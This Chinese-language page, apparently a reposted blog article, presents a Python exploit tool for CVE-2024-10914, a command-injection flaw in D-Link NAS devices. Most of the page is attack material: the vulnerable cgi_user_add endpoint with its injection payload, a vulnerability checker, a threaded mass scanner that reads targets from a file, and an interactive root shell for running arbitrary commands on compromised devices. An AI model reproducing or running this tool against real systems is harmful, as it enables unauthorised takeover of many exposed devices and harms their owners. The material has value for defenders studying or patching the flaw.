D-Link NAS 设备远程命令执行漏洞利用工具

4 阅读3分钟

D-Link NAS RCE Exploit (CVE-2024-10914)

一个用于检测和利用 D-Link NAS 设备中 CVE-2024-10914 漏洞的命令行工具。该漏洞允许攻击者通过 cgi_user_add 功能的 name 参数注入并执行任意操作系统命令,从而完全控制受影响的设备。

Security: Pentest转存失败,建议直接上传图片文件

功能特性

  • 漏洞检测:自动检测目标设备是否存在 CVE-2024-10914 漏洞。
  • 命令执行:成功检测后,提供交互式 shell 以执行任意系统命令。
  • 并发扫描:支持从文件批量读取目标,并利用线程池进行高效并发检测。
  • 用户友好:使用 rich 库美化输出,alive_progress 提供进度条,prompt_toolkit 提供带历史记录的命令行界面。
  • 状态监控:实时显示扫描进度、检测结果和执行回显。

安装指南

依赖项

本项目基于 Python 3 开发,需要以下库:

  • requests
  • rich
  • alive-progress
  • prompt-toolkit
  • concurrent.futures (Python 标准库)

安装步骤

  1. 克隆代码仓库(或直接下载脚本):

    git clone https://github.com/your-repo/dlink-nas-rce.git
    cd dlink-nas-rce
    
  2. (推荐)创建并激活虚拟环境:

    python3 -m venv venv
    source venv/bin/activate  # Linux/macOS
    venv\Scripts\activate     # Windows
    
  3. 安装依赖库:

    pip install requests rich alive-progress prompt-toolkit
    

使用说明

基本用法

python exploit.py -t <目标URL或IP>

例如,检测单个设备:

python exploit.py -t http://192.168.1.100

批量扫描

使用 -f 参数指定包含目标列表的文件(每行一个 URL):

python exploit.py -f targets.txt

交互式命令执行

当检测到漏洞后,工具会自动进入交互模式,您可以直接输入系统命令并查看执行结果:

[+] The target appears to be vulnerable
[+] Opening interactive shell. Type 'exit' to quit.
> whoami
root
> ls -la /etc/passwd
-rw-r--r-- 1 root root ... /etc/passwd
> exit

API 概览

  • check_vulnerability(target):检测单个目标是否易受攻击。通过注入 id 命令并匹配响应中的 uid= 信息来判断。
  • interactive_shell(target):成功利用后,与目标建立交互式命令行会话。
  • scan_targets(targets):多线程扫描目标列表,为每个目标调用漏洞检测函数。

核心代码

漏洞检测逻辑

check_vulnerability 函数构造并发送携带命令注入的 Payload,通过正则匹配响应内容来确认漏洞是否存在。

import re
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

payload = ["id"]
endpoint = "/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';{};'"
headers = {'User-Agent': 'Mozilla/5.0 (Linux; Android 10; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36'}

def check_vulnerability(target):
    for command in payload:
        url = f"{target}{endpoint.format(command)}"
        try:
            response = requests.get(url, headers=headers, timeout=10, verify=False)
            response.raise_for_status()
            matcher = re.search(r"uid=\d+\((\w+)\).*gid=\d+\((\w+)\)", response.text)
            if matcher:
                print(f"[green][+] [/green]The target appears to be vulnerable")
                print(f"[green][+] [/green]Response: {matcher[0]}")
                return True
        except requests.RequestException:
            continue
    return False

并发扫描

利用 ThreadPoolExecutor 实现高效的目标扫描,配合 alive_bar 提供直观的进度条反馈。

from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed

def scan_targets(targets):
    print(f"[*] Starting scan on {len(targets)} targets...")
    with alive_bar(len(targets)) as bar:
        with ThreadPoolExecutor(max_workers=10) as executor:
            future_to_target = {executor.submit(check_vulnerability, target): target for target in targets}
            for future in as_completed(future_to_target):
                target = future_to_target[future]
                try:
                    result = future.result()
                    if result:
                        interactive_shell(target)
                except Exception as e:
                    print(f"[!] Error scanning {target}: {e}")
                bar()

交互式 Shell

成功利用后,提供类似终端的交互环境,使用 prompt_toolkit 增强用户体验,支持命令历史和美观的提示符。

from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory

def interactive_shell(target):
    session = PromptSession(history=InMemoryHistory())
    print("[green][+] Opening interactive shell. Type 'exit' to quit.[/green]")
    while True:
        try:
            command = session.prompt(HTML('<ansired>❯</ansired> '))
            if command.lower() == 'exit':
                break
            if not command:
                continue
            # 构造并发送带有用户输入命令的请求
            url = f"{target}{endpoint.format(command)}"
            response = requests.get(url, headers=headers, timeout=10, verify=False)
            # 解析并显示命令输出(需要根据实际响应结构调整)
            # ... 此处为输出解析逻辑 ...
            print(response.text)  # 简化示例,实际可能需要提取命令执行结果
        except (KeyboardInterrupt, EOFError):
            print("\nExiting.")
            break
        except Exception as e:
            print(f"[!] Error: {e}")

6HFtX5dABrKlqXeO5PUv/3tKinoHJliytqCFWHfitQrmB1M5BYfbd0EFz93dtoHh